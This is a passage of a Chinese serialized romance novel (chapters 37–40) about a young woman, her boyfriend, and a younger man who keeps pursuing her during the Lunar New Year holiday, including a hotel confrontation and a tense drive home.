“没有。”陈津答得很快,叹了口气,像是为自己之前的行为被她误解而感到懊悔,“可以打视频,没有抽烟了。” “没有就没有。”何漆小声嘀咕。 她觉得陈津在这事儿上没有骗她的必要,最近也没在家见到半点跟烟草有关的痕迹,而且就算陈津眼下真抽了,打视频也能装。 她只是莫名想到,随口问问。 商场里虽开着暖空调,但何漆出来时没穿外套,内里是件针织衫,过道又不像烤肉店,温度低些,她感到点冷。 另一手提着的三杯少冰果汁也往上冒着寒气。 陈津并不知道她的状况,在电话那头问:“你呢?今天在哪吃饭?” “跟李家佳还有她的相亲对象吃烤肉。”何漆缩了缩脖子道,“我也出来透口气……” 同样“出来透口气”的情景让何漆生出点同病相怜的笑意,她下意识笑着抬眼,目光无意扫过对面。 商场这部分是个拉长的椭圆构造,商铺沿着圆的两边座落,中间给扶梯让位置,断断续续地挖空着一长条,围上玻璃栏杆。 两边商铺前的过道不远不近地被两块玻璃和一段镂空隔离着。 一群衣着鲜艳的年轻男女闯入何漆视线,正从她正对面的走廊上经过,互相说笑打闹。唯有落在末尾的男孩似乎不太想融入,前面的伙伴频频回头与他说话,他却只管垂着脑袋盯手机。 他步子慢,于是等到前面的人都只能存在于何漆的余光中时,他才缓缓进入何漆视野的正中。 也许真的存在着一些无法言说的感应,就在那一秒,方翊毫无预兆地放下了手机,随意地朝何漆的方向看过来。 来不及躲避,视线对上的一瞬间,何漆知道自己脸上的笑容僵硬了,陈津在耳畔问了她什么,短暂的失神让她无法分辨。 然而这混乱的一秒转瞬即逝,方翊像是没看见她,又或是只看到了一众毫不相干的路人,自然地移开眼,继续跟在队伍的末尾,彻底走出了何漆的视线。 秩序井然的世界又朝她迎面扑来,何漆垂下眸:“嗯?你刚说什么?突然有点吵。” “几号回来?”陈津耐心又问了她一遍。 何漆还没定回江市的车票,恐怕最近的全都售罄了,诚实道:“不太确定,晚点看看车票,实在不行只能打车,或者看李家佳还回不回江市。” “买不着车票我来接你。”陈津说。 何漆默了默,最终答了声“好”。 身上越来越冷,手都变得冰凉,何漆先挂了电话,还没来得及转身回去,就发觉身旁不知何时站了个高大的人。 她蹙着眉抬头,看到魏科年的脸时有半秒的无措与惊诧,眉头也迅速舒展开。 对方与她隔着社交距离,善解人意地把她的外套递过来:“家佳看你半天没回来,给你发微信也没反应,就让我出来看看。” “我男朋友给我打电话,没看到微信。”何漆半尴尬半抱歉地解释,接过自己的外套,又把手上的饮料给他,“不知道你喝什么,就点了一样的。” 两人没在外面多说,立刻一起回了餐厅。 桌上又多了几份餐后甜点,李家佳已经挖空了两个冰淇淋球,三人聊聊吃吃到下午,魏科年买完单后有别的事儿便先走一步。 李家佳缠着何漆叫她今天到自己家去住,何漆拗不过她,答应下来,于是两人在外头又吃了顿晚饭,玩到将近十点才回。 洗完澡从浴室出来,何漆穿着李家佳的睡衣,看到床前的地毯上已经摆了数十瓶花花绿绿的酒,李家佳刚从外头开门回来,手里拎着外卖袋。 “点的烧烤和卤味,我爸妈今天估计要通宵打麻将,我俩就在家喝酒,美滋滋。” 李家佳一边说,一边将床前的折叠桌打开,把外卖拆开在桌上摆好,丝毫不嫌弃在卧室里吃味重的食物,又扔了两个坐垫到地毯上,兴奋地邀请何漆:“快来快来,你有没有想看的电影?” 何漆坐过去,拿起两瓶啤酒,掌心一片冰凉,还是冰镇的。 她没什么特别想看的,李家佳便照例点播了一部国产经典情景喜剧,耳边“咔嚓”两声,何漆拉开易拉罐的拉环,推了一瓶给李家佳。 冰凉的啤酒进入口腔,细细密密地灼着食管,李家佳在身旁啃鸭爪,吃得不太细致,囫囵吐着骨头。 何漆挑了串烤娃娃菜,看地上还有度数不高的鸡尾酒,又开了一瓶,两边换着喝。 李家佳眼睛盯着投影,心思却不完全在那上面,开口问何漆:“你觉得,魏科年怎么样?” 何漆瞄她一眼,诚实答:“今天看着还挺不错。” 李家佳闻言露出个得意的笑来,满意道:“我也觉得好。” 她喝起酒来没轻没重,何漆刚把开的一瓶啤酒和一瓶鸡尾酒喝完,李家佳脚边就堆好了七八个空罐,大概喝得有些头晕,她伸手去拿烤串时不小心将手边的酒瓶给打翻了。 好在那瓶酒已经喝了大半,何漆眼疾手快地把它扶起,淌出来的酒精只在桌面上,没流到地毯。 桌上的纸巾刚刚用完,床头还有包新的,何漆起身去拿,看到床头柜旁的角落里摞着一叠像光盘似的东西。 “这是什么?”她弯腰凑近瞧了瞧,依旧看不出是什么物件,一张张方形的,上面印着动画似的图案。 李家佳回头看过来,片刻才想起:“啊,差点忘了,是魏科年买给李乐一的新年礼物,好像是什么游戏光盘?李乐一喜欢,我也不太懂。” “都忘了跟他说了。”李家佳嘀咕着,拿起手机给李乐一发消息。 何漆便不多看,抽着纸巾回来收拾桌面。 夜渐渐深了,烧烤和卤味都被两人消灭完,何漆喝下第三瓶酒,肚子撑得不行,打着哈欠去上了厕所,刷完牙出来想睡觉。 李家佳已经喝到半疯状态,缠着何漆生拉硬拽,就是不肯让她沾床,不准她抛下自己先睡过去。 何漆坐到坐垫上,两眼皮已经在打架,听李家佳在耳边黏黏糊糊、絮絮叨叨地说着什么,一个字也没听清。 她恍惚的视线在地上的各种酒精里巡视了一圈,最终自然地拿了两罐强爽,“咔嚓”两声,干脆利落地拔掉拉环,摆到李家佳面前。 “还是你对我好。”李家佳用脸蹭着何漆的肩头,上一瓶酒刚喝完,立马接过何漆递来的两罐。 这东西跟饮料似的,适口性强,李家佳一仰头就“咕咚咕咚”灌了半瓶。 何漆在一旁面无表情地给李家佳当抱枕,无比安详地等待着。 十分钟出头,李家佳彻底被这两瓶强爽干翻了,何漆困得都维持不住人形,还是坚强地把沉得像只大型犬的李家佳拖上了床。 酒精作用下,何漆这觉睡得很沉。 第二天醒来时她整个人趴在床边沿,再稍稍一动就会翻下去。 脑袋轻微发晕,口干得要命,她从床上坐起来,环视一圈,看到李家佳呈“大”字睡在床的另一边,腿还掉下去一截。 房间里没水,何漆揉着脑袋起身,打算先去楼下找口水喝。 拖鞋在瓷砖楼梯上踩出响亮的拍打声,李家佳父母大概还没回家,何漆把这段楼梯走得十分磨蹭,下两格阶梯就闭会儿眼缓神。 好不容易踏上平地,她的手刚离开扶手,侧边的厨房里“砰”一声响起冰箱门关合的动静。 何漆被吓得一激灵,余光里看到个人影像老鼠似的窜出来,她扭头,和叼着吐司片的李乐一撞个正着。 “漆漆姐?你跟我姐在一块啊。”李乐一毫不见外地打招呼,看何漆一脸茫然的样子,解释道,“我来拿游戏光盘,我姐相亲对象给我的新年礼物,你知道放哪了吗?” 知道倒是知道,何漆用食指摸了摸脸颊:“在房间里,但李家佳还在睡觉。” 她话音刚落,李乐一就跟兔子似的往楼上冲,喊着:“没事儿,我姐房间我能进!” 何漆站在原地想了片刻,房间里确实没什么见不得人的,比较骇人的也就一地空酒瓶。 她没忘记自己下来的目的,绕过个拐角走到一楼客厅,拿过桌上的水壶倒了杯水,一口气喝下大半杯。 一面喝一面巡逻似的环视半圈,突然在面对大门时顿住了原地自转的动作。 独栋小别墅的大门敞开着,挺拔的青年站在门口,懒洋洋地倚着门框,低头看手机—— 作者有话说:李家佳:好闺蜜不准睡不准睡不准睡~ 何漆不语,只一味地单手开强爽…… 感谢小天使的营养液大家除夕好[眼镜] 第38章 猝不及防,水呛进气管,何漆剧烈咳嗽起来,猛地把水杯撂回桌上,忙抽了两张纸巾擦下巴和脖子上的水。 咳到喉咙都有些肿痛,那种异物感终于消散了些,她明显感觉到方翊被她惊动,朝这儿看来了一眼。 然而等何漆恢复正常,目光扫回去时,那人也已经漫不经心地收回了视线。 挺好的。 何漆把衣领上的水渍擦干,心想,这样挺好的。 没有哪个年轻男孩的自尊心容得了别人再三践踏,特别是这个男孩物质上还算富有。 虽然这两天偶遇的频率高得有些不正常,但这种互相无视的结局是何漆非常乐意接受的。 她稍稍镇定,把剩下的水喝完,转身去厨房把杯子洗了,正要上楼时看到李乐一怀里抱着高高的一叠游戏光盘跑下来。 原装的袋子恐怕被李家佳用来装别的东西了,他就那么两手捧着,遮挡了点视野,下楼又心急,在最后一格台阶时慌忙踩空了。 何漆眼疾手快地扶了他一把,让李乐一和他怀里的光盘免于摔个狗吃屎。 “小心点。”何漆见他彻底站稳,才缓缓把手松开。 李乐一傻兮兮地冲她笑:“漆姐,你要不要来跟我们玩游戏?我姐一时半会儿好像是醒不来了。” 何漆略显疲倦地摇了摇头:“你们去玩吧,我上去补觉。” 李乐一闻言便不多强求,抱着游戏光盘小跑到大门,看方翊已经走到院子里的背影喊道:“不是,你帮我拿一点啊,我还要穿鞋!” 方翊开来的车停在院外,李乐一把怀里的宝贝安置在后座,随后坐上副驾等着方翊载他去家里打游戏。 他兴致勃勃地等了会儿,却见方翊连手都没放到方向盘上,半晌疑惑地扭头,问:“咋了?干嘛不走?” 李乐一无辜地看着自己好兄弟的脸上莫名浮现出不爽的神情,随后好兄弟抬手,在他肩膀上结结实实打了一拳。 “卧槽!方翊你是不是有病?痛死了啊!!” 方翊无视他的控诉,把音乐开响,挂档后轻踩油门,房屋在他的后视镜里变得越来越小。 何漆睡了个回笼觉,在午饭前打车赶回了家,家里的氛围还是如之前一般诡异,不过好在这样就没人会来盯着她的事儿,她竟过了个久违安心的年。 正月初三,她又跑到外头和李家佳吃自助餐,清汤的小火锅在桌上滚沸,阵阵白雾往上冒。 李家佳在白雾的对面,收到条李乐一发来的语音。 餐厅里有点吵,她把音量开大了些,一点开语音,听筒里立刻传出李乐一鬼哭狼嚎的歌声。 李家佳听了两秒就点断,同样发语音骂回去:“李乐一你脑子是不是有病?大过年的不挨骂心里不舒服?我跟何漆在外面吃饭,要不要给你找个话筒,让整个餐厅的人都欣赏欣赏?” 何漆正咬着吸管喝果汁,看李家佳气不打一出来的样子,顿时笑弯了眼。 另一头,李乐一从ktv的舞台上下来,听筒放在耳边,听完表姐的骂还受虐狂似的傻乐两声,看了眼切换的歌,把话筒递出去:“谁点的?快上去唱。” 一女孩接了他的话筒,《词不达意》的前奏慢慢响起。 大包厢里有将近十来个人,他径直走到沙发最角落处,一屁股坐在方翊身边,附到他耳边扯着嗓子问:“你不上去唱一首?” 方翊双手放在外套口袋里,原本随意地坐着,被李乐一这一嗓子喊得耳朵疼,和他拉开点距离:“不唱。” 这一帮人都是高中同学,熟的不熟的都有,方翊这回纯属是被李乐一诓来的。 他坐得有些闷,包厢里气味混杂,于是起身借口去洗手间。 在走廊里无所事事地游荡了会儿,方翊还是去洗了个手醒神,数着包厢号回去时,在门口碰上个女生。 方翊一时都有点叫不出她的名字,那女生却站在门口看着他缓步走回来,似乎是在专程等他。 “怎么站在这儿?”方翊见对方和自己对上视线,礼貌性地询问。 “等你。”女孩踮了踮脚,是个缓解紧张的小动作,“方翊,我有话跟你说。” 咯噔。 方翊内心像是有什么东西错位般响了一声,他多少熟悉这种语气,预料到了几秒后会发生的事情。 果不其然,女生鼓起勇气抬头直视他,耳朵已经变红,但面上努力维持着淡定:“方翊,其实我从高中的时候就喜欢你了,这句话毕业的时候就想对你说,但当时太胆小,今天好不容易重新遇见,这个秘密我不想再藏在心底了。” 方翊站在她一步开外的地方,听着她的尾音越来越飘,把视线从女孩逐渐涨红的脸上挪开。 “抱歉。”他说。 女孩像是预料到了这个结果,缓慢地点了两次头。 她今天把这些话说出口,更多的目的也不是索要关系,只不过是单纯想弥补心里的一点遗憾。 “好,我知道了。”但要说半点期盼都没有也是假的,女孩的神色和语气还是不可避免地黯淡下来。 她正转身要走,不知又想起什么,是另一个她同样很想知道答案的问题:“那……你有喜欢的人了吗?” 方翊像是被倏地戳中般,短暂晃了晃神,接着轻笑道:“嗯,有喜欢的人。” 女孩大概是打听过他还没有女朋友,思考了两秒,鼓励道:“好吧,祝福你,你这么优秀,会和喜欢的人有好结果的。” “也祝福你。”方翊说,“你先进去吧,我等会再进。” 包厢沉重的大门一开一合,喧闹的音乐声涌来又被阻隔,方翊吐出一口气。 他挪动脚步,像棋盘上的棋子走了两格,立在了方才那个女孩站过的地方,钝钝地仰起头。 和喜欢的人有好结果?方翊自嘲地在内心笑了笑,可她 拒绝我就像我拒绝你。 他的优秀?在何漆眼里却并不是什么值钱的东西。 方翊在门外站了很久,久到李乐一都忍不住给他发消息问他是不是掉坑里了,他才推门重进包厢。 又不知过了多久,方翊坐在角落里无聊得都快睡过去,众人终于打算离开,去赶下一场。 他被李乐一喊醒,随着人群走出去,却在大厅待客的沙发上坐了下来。 有人回过头来询问,反倒是李乐一在旁解释:“你们先去喝酒吧,他好像有点不舒服,钱我们在群里A。” 看着那帮人走远了,李乐一才收起笑脸转回身,愤愤地踢了脚方翊的鞋:“真是的,你能别那么死气沉沉的吗?” 方翊掀起眼皮看了他一眼,还是一言不发。 “靠!”李乐一骂了句,在他旁边的沙发上坐下来,拿起前台服务员倒的水喝了口,“早知道就不该让你去我姐家。” 方翊愣神片刻,忽然无声地勾了点嘴角。 李乐一天天咋咋唬唬、不通人性的样子,跟他讲东他扯西,跟他暗示他装傻,原来什么都知道。 “从昨天早上开始就半死不活的。”李乐一摊牌道,“何漆姐有男朋友!你到底在想什么?” “分过。”方翊冷淡吐出两个字。 “什么分……”李乐一下意识问,半道反应过来,他是说何漆跟她男朋友分手过。 李乐一霎时以一种难言的眼神看向方翊,被他无语到说不出话来。 “漆漆姐的感情状况你倒是挺清楚的,那她分手的时候你怎么不抓紧?” 方翊幽幽地看回去,不用翻译,满眼都写着“你以为我没抓紧吗”。 “不行。”李乐一不看他,把脸扭开,强硬道,“这绝对不行,做人要有道德有底线,破坏别人感情的事情绝对不能干。” 他说着,腿却不自觉抖起来,像是内心天人交战的外化。 “你已经帮我干过好几次了。”方翊戳穿。 “我那时候不知道!”李乐一把腿抖得更厉害了。 “骗鬼。” 这次换李乐一不说话了,只有两条腿抖得飞起。 “我喜欢她。” “我没有别的办法了。” “全都是我的错。” 方翊一句话一句话往外蹦。 “本来就是你的错!”李乐一忍无可忍地把头扭回来,压低声线骂他。 沉默在两人之间维持了五分钟,李乐一垂死挣扎:“就不能换个人吗?” 方翊反问:“你说呢?” “最后一次。”李乐一咬着牙,腿快抖得飞出去,“绝对绝对是最后一次,你这样不行,错得离谱!” “你不准给我干任何过分的事,不然我们就绝交!然后我天天在何漆姐面前说你坏话,你听到没有?” “怎么办,我姐知道了肯定会把我扒了皮的,全怪你!你这个没道德没底线的烂人,难怪何漆姐看不上你!” 李乐一沉浸在生不如死的幻想里和对方翊的唾骂中苦苦挣扎,而方翊已经掸掸膝盖站起身,拍了拍他的肩,去外面等着了- 李家佳跟何漆吃完酒店的自助餐,乘电梯上楼回房间。 这家五星级酒店过年搞活动,先前抽奖抽出去了好多礼品,包含免费的酒店餐食和住宿,魏科年手里有两张内部票,做人情送给了李家佳和李乐一。 李家佳又把两张自助餐的票收入囊中,只留个住宿券给他,李乐一不敢有什么意见。 这会儿李家佳正在浴室里洗澡,何漆坐在沙发上用电脑改稿,面前的茶几上留有半个吃剩的蛋糕。 外头突然响起阵敲门声,何漆以为是工作人员,回道:“不用打扫,谢谢。” 然而门后却传出十分耳熟的声线:“姐,是我。” 何漆想起大概是李乐一,他也有住宿券,房间似乎就在隔壁,应该是在外头玩完了,来这儿睡觉。 思及此,何漆往浴室的方向看了眼,但李家佳刚进去没多久,她只好放下电脑去开门。 “李家佳在洗澡,你有什么……”何漆拉开门,目光从李乐一的脸上略过,触及他身旁站着的另一个人时僵硬下来。 李乐一闭了闭眼,已然听天由命。 方翊面上泰然自若地站着,但看到何漆瞬间冷下来的神情时还是感到抽痛。 “有什么事?”何漆盯着他,漠然问—— 作者有话说:大家过年好呀过年好[撒花] 第39章 另一间房内,方翊低眉顺眼地坐在床铺边缘,何漆在他面前站着,双手抱胸,从头到尾不加掩饰地散发着不悦。 房间的门磊落地敞开,昭示这是一场必须公开的谈判。 而何漆并不觉得他们之间还有什么好谈的,她只是有些搞不懂这个阴魂不散地出现在她生活里的人。 “你觉得这样很好受?”何漆先开口质问,语气无奈,“为什么要一再让别人轻视你的尊严和感情?前两天做得不是很好吗?” 那样自然的无视,还让何漆以为他已经心平气和地翻篇了,又或是头脑清醒过来重新正视起自己人格与道德的底线,反正不管是哪种,只要让这偏离的轨道回正就好。 可怎么才过了一两天,他又跟无头苍蝇似的撞过来? 头顶传来的质问一字一句敲打在心上,方翊却始终一言不发,静静承受着,下垂的睫毛止不住地发颤,紧咬牙关的神情却像是在下什么决心。 两个深呼吸,何漆等不到他的回话,没剩多少和他单独待在房间里的耐心,转身正要离开时—— “滋啦。” 一道拉链滑到底的声响迅速响起。 方翊脱掉了棉服外套丢在一旁,内里只有一件带纽扣的毛衣开衫。 他动作不算迅速,但没有半点迟疑,修长的手指伸向领口处的扣子,然后一颗一颗往下解开。 酒店内温度不低,但裸露着皮肤总归是冷的,他全程低着头,看不清神情,唯有漂亮的锁骨从衣领里显露出来,白皙的皮肤隐隐战栗。 等方翊解开胸口处的第三颗扣子时,何漆才荒唐地反应过来他在做什么。 她瞳孔都放大了,一个箭步冲上去揪住方翊的领子,由于震惊而太过用力,手掌随着惯性推了方翊一把。 方翊顺势倒在床上,也因此终于暴露出完整的面容来。 他面色惨白如纸,和身下雪白的被子都快不相上下,眼尾泛红,眼底氤氲着可怜的水汽,那层附着在眼眶上的薄泪让他有些看不清何漆的表情。 巨大的冲击令何漆表情空白,神思都有些飘了—— 什么东西?色诱?现在的小孩都怎么了? 她内心掀起一阵阵惊涛巨浪,揪着方翊衣领的手死死捏紧,指节卡在他脖子底部,他似乎有点不适,呼吸不畅地吞咽了两次。 “你要干什么?”何漆压低声音,两条眉毛愠怒地拧在一块。 方翊却在这种被钳制的姿势中抬起了双手,一上一下地轻轻搭在了何漆掐着他的手臂上,他瞳孔都在轻颤,眼前的画面不聚焦似的分成两片,又在下一秒重合。 “我也不想这样。”方翊几乎是用气声说,“我真的做过努力了,我不想被你讨厌,可那样好难过……” 他声音不稳,断断续续的,带着点呼吸不上来的嘶哑:“我想跟你说话,我想看你,也想让你看看我……我没办法、没办法和你假装陌生人了。” “我什么都可以给你,姐姐,什么都可以……” 同时,一滴泪从方翊眼角满溢滑落,没入头发里,他的双手隔着衣物面料,渐渐握紧何漆的手臂。 房间的门还开着,李乐一兴许就在门外等待,何漆无意与他纠缠,果断抽出了自己的手。 她动作太过干脆,以至于方翊一时没反应过来,等他再想去挽留时,只能看着何漆的手指从他掌心里离开。 “别犯傻。”何漆撑了撑额头,完全想不出方翊为什么会用这种办法。 走投无路 ?还是觉得她是这种人? 真是傻到家了。 “你控制不住的感情已经对我造成了困扰。”何漆感到手臂有些麻,垂在身侧悄悄攒了攒掌心,继续冷冷告诫,“如果你真的有那么喜欢我,就当替我着想,从我的生活里消失吧。” 她离开房间前最后看了一眼仍躺在床上的方翊,后者绝望地闭上了眼,泪水被挤压,洇湿了睫毛。 何漆猜想今夜他们之间的争执并不会起到什么效果,就像她没有被他的坚持所打动,他也不会因为她不知第几次放下的狠话而收敛。 拖鞋踩在地毯上发出“沙沙”的声响,她走出去,看到李家佳和李乐一双双站在右侧房间的门前。 李乐一垂头丧气,像只鹌鹑似的缩在李家佳身边,显然已经挨过一轮骂,两只手颇为紧张地绞在一块儿。 两人听见脚步声,十分整齐地“唰”一下转过头来,李乐一腰间立马被拧了一把,他吃痛地倒吸口凉气,接着快要倒栽葱似的朝她鞠躬:“何漆姐,对不起,我再也不敢了。” 何漆扯了扯嘴角,抬手挥了挥:“没事。” 她跟李家佳对上眼神,李家佳便一个踢腿踹了脚李乐一,气势汹汹道:“赶紧滚回去,再有下次看我怎么收拾你。” 李乐一不敢委屈,跟螃蟹似的贴着墙横走,路过何漆时又唯唯诺诺地朝她鞠了一躬。 直到左边房门小心翼翼关上,何漆与李家佳才回了自己房间。 方才一会儿功夫,李家佳已经从李乐一嘴里逼出了实情,不免觉得又好气又好笑,进房后用胳膊碰了碰她,调侃道:“我帮你找个大师算算吧,你今年这桃花犯得也太冲了。” 何漆一掌拍在李家佳肩膀处。 她跟李家佳这么多年的交情,不至于为了这点小事迁怒她,只是一时不知道该说些什么,仰头叹了口气。 方翊在房间里干的那事儿……她不打算对任何人说。 谁不会做点傻事,阅历渐长后后悔都来不及,若是被人大肆传播又揪着不放,那也够心烦的。 李家佳在床边吹干头发,见何漆半天没说话,神情也恹恹的,以为她还在乎刚才那事儿,走到沙发边拿勺子挖了块蛋糕吃,含糊道:“你放心,李乐一不会再掺和这事了,他没那个胆。” “知道。”何漆扯着笑淡淡点头,并没有要怪谁的意思,突然说,“我打算明天回去了,陈津说他要来接我来着。” 李家佳闻言诧异地看过去,何漆却温和地冲她弯了弯眼,示意她不要多想。 手背被何漆安抚似的拍了两下,李家佳见她已经拨打号码把手机放在耳边,最终没说什么,只在心里默默替李乐一定好了死期。 陈津接得很快,时间不早,他大概已经准备休息,嗓音里带着淡淡的倦怠和惬意:“喂?” “你明天有事吗?”何漆问他。 “怎么了?” “我打算回江市了,你有时间来接我吗?或者……” 陈津打断她:“几点?在哪接你?” “几点都行,你到之前给我发消息就好,我和李家佳今天在外面住酒店,地址待会发你。” 陈津说好:“我七点出发,十点左右能到。” 何漆挂了电话,把酒店地址发给他,看见陈津发来“收到”的,心头莫名松了一口气,连带着泛上来的还有一点茫然。 她环顾了一圈。 带来酒店的行李只有一天的量,剩下的换洗衣物和生活用品还放在家里,不过都不是什么重要的东西,电脑随身带着,其余的就放在宁市也没什么问题。 徐燕那边,就说工作上有突发任务需要赶回去,来不及再回家一趟,况且也差不多要到了以往的开工时间。 没什么落下的。 何漆摸了摸脖子,重新扭头看向李家佳,露出一个真心的笑,问她:“要不然你也跟我回江市?” 李家佳立即龇牙咧嘴地摇头:“别别,不知道是不是那鬼工作实在太累人,我现在听到这两个字都有ptsd。” 何漆边笑她边起身:“我洗澡去了。” 翌日九点才过半,何漆刚洗漱完,就收到了陈津说自己已经到了的消息。 他比昨晚说的早到了整整一个多小时。 何漆甚至重新看了两次时间,确定自己没看错——这个点到,他几点起的床? 李家佳还卷着被子在床上呼呼大睡,何漆轻唤了她两声,人没醒,她就不强求。 拎着提前收拾好的行李包出门,大步路过隔壁房间,乘电梯直达一层。 陈津的车停在酒店门口的临时停车位上,看见何漆出来便下车去接她,拎过行李包时问:“箱子呢?去的时候不是带着?” “昨晚临时想回去的。”何漆也不确定这个理由能不能站住脚,但也只好如实说,“箱子放在家里,不碍事。” 听见“临时想回去”五个字时陈津似乎挑了挑眉,不过并没有要追问的意思,正打算牵着她回车上,却不知为何迟迟没有挪动脚。 何漆心中为这异常“咯噔”一声,抬眼,发现陈津的视线投向酒店内。 她脚底有些发虚,疑惑与慌乱迫使她转头朝同样的方向看过去。 前台正在接待一对貌似情侣的宾客,待客的沙发上只坐着一些不相干的人,一旁的电梯正合上门,或许是刚有客人入住。 没有问题。 何漆转回头,心中疑窦丛生,再次抬眼时猝然撞上陈津的视线。 他不知何时已经在低头看她。 何漆被惊得面色一白,右手条件反射似的忽然抓住陈津的手臂,顶着他全部的目光,一个深呼吸后问:“你刚刚看什么?” “没什么。”陈津说,“先上车吧。” 何漆对酒店门口的那一出仍心有余悸,陈津带来的早餐她没吃多少,一路上只有车载音乐在播放,奇怪的是这种沉默反而让她略感心安。 期间路过一个服务区,陈津驾车驶了进去,何漆并不知道他要干什么,只是想起这里有家很好吃的冰淇淋店,于是隔着车窗指了指那家店的招牌:“我想吃个冰淇淋,巧克力香草双拼的。” 陈津说好,下车走了。 何漆在车里吹着暖风坐了会儿,突然有点想上厕所,下车前脱掉了过长的外套,以免待会儿不方便。 女厕所排着长队,她在队末等着,直到身上冷得打颤了才终于排到,出来后又忍着刺骨的冷水洗完手,缩着脖子往车的方向跑。 她离开的时间可能确实有些长了。 何漆意识到这一点是因为不知道去做什么了的陈津已经买完冰淇淋回到了车旁,并且似乎十分焦急地四处张望,寻找她的身影。 风突然迎面吹来一阵,何漆眯起眼,用更快的脚步小跑回去。 跑得近了,陈津终于在众多的车辆和人群里锁定了她。 何漆原本想跟他笑一下,却在看清陈津的脸后笑不出来了,甚至连脚步都有所顾忌地慢了下来。 他的脸色太难看了,黑得仿佛能滴水。 陈津目光死死地盯着她,见她毫无缘由地不再靠近,干脆主动走过去,一把拽过何漆的手腕,把她捞进怀里。 身体稍稍回温,接着,何漆听到一种隐忍怒气的语调。 “你去哪了?” 第40章 大庭广众之下,这个怀抱的动作对何漆而言有些过于亲密了,但考虑到陈津此刻情绪不明,她就没有提,一头雾水地回答他的问题:“我去上厕所了。” “为什么不跟我说一声?为什么不带着手机?”陈津把她抱得更紧了,质问着一些很幼稚的问题,像是幼儿园老师害怕班级里的小朋友春游走丢般紧张。 何漆搞不清楚状况,只能先顺着他来:“手机放在外套口袋里,上厕所会麻烦,我就没拿,我不是很快就回来了吗?” 是不是太大惊小怪了? 何漆没把这句话问出口,她的手还保留冷水的温度,于是说:“我好冷。” 陈津自然感受到怀里人的体温,积压在心底的怒气霎时溃不成军地散开,他一言不发地把她带回了车里。 两杯冰淇淋早已放进中控台的杯架里,另外还有一袋散发着香味的甜甜圈。 车里温度高,一会儿功夫冰淇淋的造型就化得稍显圆润。 何漆伸手拿了一杯,塑料杯壁的温度比她掌心的更低,然而还没来得及拿插在上头的勺子,就被一旁的陈津整杯夺走。 “先穿外套。”陈津冷冷道。 何漆不觉得有什么必要,车里温度高,一会儿身体就暖和起来,穿着外套还会热。 但识时务者为俊杰,何漆觉得自己这叫幸福者退让,陈津莫名心情很差,她心情还不错,显然是不要去触霉头的为好—— 呵呵,我都这么让着你了,你还有脸对我发脾气吗? 何漆默默穿上外套,侧目观察了一下陈津的表情,觉得没问题了,伸手去拿凹槽里的另一杯。 这回她都还没碰到,陈津就动作更快地用空的那只手又抢走了。 何漆抬眼,蹙着眉盯他。 这是不是有点蹬鼻子上脸了? “摸一下手温。”陈津依旧冷冷道。 何漆反应了两秒,意识到他的意思是想确定自己身上的温度,索性把手掌放在副驾出风口的地方吹了会儿暖风,然后趁热用掌心去焐陈津的手背。 手心里是挂着水珠的冰凉塑料杯,手背上贴着何漆干燥温暖的体温,陈津感受到她正用一种孩童等待奖励般难得天真的眼神,全心全意地看着自己。 一秒,两秒。 这种等待转瞬即逝,两秒之后,何漆就放开了他的手背,远不及她吹暖自己手心的时间长。 陈津把其中化得更厉害的一杯放在杯架里,然后抽了两张纸巾擦掉手里那杯杯壁上的水珠,垫着两张干的纸巾递给她。 何漆接过,先吃掉了一块顶上的饼干。 陈津拿起另一杯吃了两口,很快又放回去开始上路,车里重新陷入沉默。 何漆专心对付不断融化的冰淇淋,一口吃巧克力味,一口吃香草味,一口吃混合在一起的部分。 她突然想起什么,把巧克力和香草交界的部分搅了搅,然后将这污染在一起的部分一大勺挖掉,问:“你刚刚去服务区干嘛?” 陈津回答:“买冰淇淋。” 何漆有点无语,她当然知道他去买冰淇淋了,她问的是他原本要去做什么。 一大勺混合味道的冰淇淋递进何漆嘴里,瞬间在她唇齿上融化。 “嘶。” 何漆被冰了一下,暂且放下冰淇淋,在那袋透着热气的甜甜圈里挑了一个吃- 两人在饭点前赶回了家,何漆在路上吃掉了一杯半的冰淇淋和一整个甜甜圈,肚子已经不是很饿。 她在玄关处换好鞋,陈津拎着她的行李进屋,打开了空调系统。 回到家就是有种全身放松的感觉,何漆正想问陈津中午吃什么菜,却见他把行李包放到她的房间门口后又去而复返。 何漆不解地抬眼看他。 只见陈津径直朝她走来,逼得近了,便抬手捧住她的小半张脸,略带急迫地低头吻下来。 这绝不是一个点到为止的吻,起码在何漆觉得可以分开时,陈津禁锢般搂住了她的腰,唇舌的攻势越来越激烈缠绵,陈津的手指试探性地爬上了她的背。 何漆并不想在这个时候,于是拍着陈津的肩膀将他抵开,滚烫的耳朵贴在他的脸颊上降温,喘息了两口:“你先去做饭,我有事呢。” 何漆没有说谎,刚刚在路上她收到了编辑洛洛的消息,之前投给回声出版社的新文章没有过终审,需要做点大手术去修改。 她把气喘匀了,回房间拿出行李包里的电脑,就近走到客厅,很快认真工作起来。 陈津似乎还在原地站了一会儿,用指腹默默揩掉唇角的水润,转身向厨房走去。 大约过了二十分钟,何漆与韩洛的讨论正在兴头上,陈津开着小火炖煮最后一盅汤,走出厨房透口气。 身旁的沙发忽然陷下去一块,何漆察觉陈津坐在了她的身边,但她没有分过多的心思,还在跟微信对面探讨故事方向。 没一会儿,陈津就像是忍受不了她的忽视,凑过来啄她的嘴角,再一点一点含住她的唇。 何漆暂且把手机熄屏,侧身专注地与他亲吻,直到感受出陈津有要把她推倒在沙发上的动作时,她缓缓睁开眼,主动深吻他。 掌握主动权意味着不仅可以主动推进,也可以主动撤离,就像此刻,何漆轻易地退开点距离,问:“厨房里在煮什么?会不会糊掉?” 陈津上下两瓣唇还微张着,因不满而眼神幽深地盯着她,毫不掩饰的情动表情出现在他那张棱角分明的理工男的脸上,混杂着禁欲与纵情。 何漆没敢多看,生怕忘不了这艳丽的一幕,她手头有不能耽搁的正事,清心寡欲地打开手机接上了和韩洛的话题。 陈津缓缓瘫坐回沙发上,背部重重地靠向后方,脸色极差地干坐了一阵,呼吸也一会儿沉一会儿飘,半晌,起身回厨房关火。 时间掐得正好,陈津把饭菜端上桌时,何漆刚与韩洛敲定了最终方案,她满意地合上电脑走去餐厅,看到陈津正在分筷子,一碗排骨莲藕汤放在餐桌正中,冒着腾腾热气。 她肚子里的馋虫一下被勾出来,埋首闻了闻香气,余光瞥到陈津又绕开桌子朝她走了过来。 他围裙还挂在身上,何漆以为他是想让自己帮他摘围裙,识趣地凑过去,伸手去勾他脖子上的挂带。 然而陈津今天真是精虫上脑,竟扣住她举到半空中的手,压着吻了下去。 何漆微微瞪大了眼。 